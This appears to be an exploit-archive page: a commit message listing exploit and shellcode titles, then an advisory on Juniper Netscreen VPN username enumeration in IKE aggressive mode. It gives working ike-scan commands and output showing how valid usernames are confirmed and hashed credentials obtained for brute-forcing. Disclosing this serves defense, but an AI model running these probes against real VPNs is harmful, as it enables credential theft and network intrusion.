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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
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1.8 KiB
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42 lines
No EOL
1.8 KiB
Text
source: https://www.securityfocus.com/bid/14595/info
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The Juniper Netscreen VPN implementation will identify valid usernames in IKE aggressive mode, when pre-shared key authentication is used. This allows for attackers to obtain a list of valid VPN users. With a valid username, an attacker can obtain hashed credentials against which a brute force attack may be performed. A successful crack would mean that the attacker has complete access to the network.
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The ike-scan options used in this example are:
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-A Specify IKE Aggressive Mode. The default for ike-scan is
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Main Mode.
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-M Multiline: Display each payload on a separate line, which
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makes the output easier to read.
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--id=string Specify the string to be used for the ID payload.
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10.0.0.1 The IP address of the target Netscreen.
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3.1. Response to valid username "royhills@hotmail.com"
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$ ike-scan -A -M --id=royhills@hotmail.com 10.0.0.1
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Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
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10.0.0.1 Aggressive Mode Handshake returned
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HDR=(CKY-R=21af4dbe2cecd5f0)
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SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
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LifeDuration=28800)
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VID=64405f46f03b7660a23be116a1975058e69e83870000000400000403
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(Netscreen-05)
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VID=4865617274426561745f4e6f74696679386b0100 (Heartbeat Notify)
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KeyExchange(128 bytes)
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Nonce(20 bytes)
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ID(Type=ID_IPV4_ADDR, Value=10.0.0.1)
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Hash(20 bytes)
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Ending ike-scan 1.7.7: 1 hosts scanned in 0.136 seconds (7.37 hosts/sec). 1
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returned handshake; 0 returned notify
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3.2. Response to invalid username "invalid@hotmail.com"
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$ ike-scan -A -M --id=invalid@hotmail.com 10.0.0.1
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Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
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Ending ike-scan 1.7.7: 1 hosts scanned in 2.467 seconds (0.41 hosts/sec). 0
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returned handshake; 0 returned notify |